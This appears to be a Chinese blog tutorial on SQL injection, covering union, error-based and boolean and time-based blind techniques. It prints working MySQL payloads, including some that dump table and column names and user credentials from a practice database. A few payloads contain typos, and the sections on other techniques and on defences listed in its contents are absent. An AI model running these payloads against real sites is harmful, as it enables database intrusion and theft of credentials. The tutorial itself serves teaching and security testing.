【web安全】SQL注入篇

🏘️个人主页：点燃银河尽头的篝火(●’◡’●)
如果文章有帮到你的话记得点赞👍+收藏💗支持一下哦

【web安全】SQL注入篇

SQL注入漏洞基础
SQL注入分类
判断注入点
- 1. 区分请求类型（get、post）
- 2. 判断是否存在注点
- 3. 区分注点（数值型、字符型）
sql基本语句
注入方式
- 联合注入
- 报错注入
- - updatexml()
  - extractvalue()
  - floor()
- 盲注
- - 布尔盲注
  - 时间盲注
  - dnslog盲注
- 堆叠注入
- 二次注入
- 宽字节注入
- 伪静态注入
防御方案

SQL注入漏洞基础

漏洞描述

攻击者利用Web应用程序对用户输入验证上的疏忽,在输入的数据中包含对某些数据库系统有特殊意义的符号或命令,让攻击
者有机会直接对后台数据库系统下达指令,进而实现对后台数据库乃至整个应用系统的入侵。

sql 注入原理

服务器没有过滤用户输入的恶意数据,直接把用户输入的数据当作sql语句执行,从而影响数据库安全和平台安全。

利用条件

1.程序员在处理程序和数据库交互时，使用字符串拼接的方式构造SQL语句。

2.未对用户可控参数进行足够的过滤，便将参数内容拼接到SQL语句中。

mysql查询语句：

select ... from ... where ...=...
select group_concat(table_name)

group_concat()函数用于将多行结果合并成一个字符串。

SQL注入分类

基本类型	基本手法	方式	注入点位置
数字型字符型	报错注入联合查询布尔盲注延时注入堆叠查询	GET注入 POST注入 Cookie注入 HTTP头部注入	URL注入搜索框注入留言板注入登录框注入

判断注入点

1. 区分请求类型（get、post）

get 在url处进行注入

post 在有输入框进行交互的地方

2. 判断是否存在注点

添加动态参数 id = 1'

如果报错则存在注入点

不报错则证明不存在注入点或没有回显

3. 区分注点（数值型、字符型）

数值型
```
id=1 and 1=1
id=1 and i=2
```
若不报错则证明其不是数值型
字符型
```
id=1' and '1'='1
id=1' and '1'='2
```
若不报错则证明其不是字符型

第一个'作用是闭合

sql基本语句

判断列数
```
?id=1 order by 1 
?id=1 order by 2
...
```
一直到报错没有显示为止

判断回显位（假设列数为3）

?id=1 and union select 1,2 -- -
?id=1 and union select 1,2,3 -- -

1，2，3为占位符

判断之前order by得到的列可不可以回显数据：

假如不能回显那就去使用盲注

假如我们发现显示了一个3，说明第三个会显示在页面上，我们就可以开始注入了。

注入方式

联合注入

必须前一条无法回显（错误）才能显示第二条

union联合查询

显示出登录用户和数据库名

union select 1,user(),database() -- -

查看数据库有哪些表

union select 1,(select group_concat(table_name) from information_schema.tables where table_schema = 'security' ),3 -- -

查看对应表有哪些列

union select 1,(select group_concat(column_name) from information_schema.columns where table_schema = 'security' and table_name='users' ),3 -- -

解释：从information_schema数据库的columns表中查询security数据库下users表的所有列名。

查看账号密码信息

union select 1,(select group_concat(concat_ws(0x7e,username,password))from users),3 -- -

0x7e中,0x代表16进制，7e在ASCII码表中对应~

报错注入

无回显无法用sql注入,使用mysql报错函数（共12种）

若常规报错函数被ban掉，在官方手册找平替报错函数（越小众越好）如：polygon()

updatexml()

用于在xml中获取特定节点并更新其值

查询数据库名，例：

? id=1 and updatexml(1,concat(0x7e,(select database()),0x7e),1) --+

extractvalue()

查询数据库名，例：

? id=1 and extractvalue (1,concat(0x7e,(select database())))--+

floor()

用于mysql在xml中取整或确定下限（不常用）

'FLOOR(4.7)'	返回'4'
'FLOOR(-4.7)'	返回'-5'

floor报错原理：

利用数据库表主键不能重复的原理,使用GROUP BY分组,产生主键key冗余,导致报错

示例代码：

? id=1 and (select count(*),(floor(rand(0)*2)) as x from table_nam group by x)

盲注

页面中有布尔类型的状态，可以根据布尔类型状态，对数据库中的内容进行判断，可以通过写python脚本实现自动化

布尔盲注

判断数据库类型（MYSQL、access、SQLServer）
- 判断是否是MySQL数据库
```
and exists(select * from information_schema.tables) --+
```
- 判断是否是access数据库
```
and exists(select * from msysobjects) --+
```
- 判断是否是SQLServer数据库
```
and exists(select * from sysobjects) --+
```
判断数据库名长度length()
```
' and length(database())=8--+
```
8为判断长度

通过页面是否报错或正常显示来判断它的长
猜测数据库名
1. 一位一位猜 left()
```
' and left(database(),3)>'sec' --+
```
  '3’为位数，'sec’为猜的字符
2. 用ascii码，二分法 substr()
```
ascii(substr((select database()),1,1))=115--+
```
  SUBSTR函数：用于从一个字符串中提取子字符串。可以指定起始位置和长度

=也可以替换成>或like，like为模糊查询

时间盲注

sleep()函数

利用sleep( )语句的延时性，以时间线作为判断条件
```
' and sleep(5) --+
' and if(1=1,sleep(5),1) --+
' and if(ascii(substr(daatbase(),1,1))<100,sleep(5),null) --+
```
if为判断语句，判断’1=1’，如果成立执行’sleep(5)，不成立执行’1’
WAITFOR DELAY’0:0:5’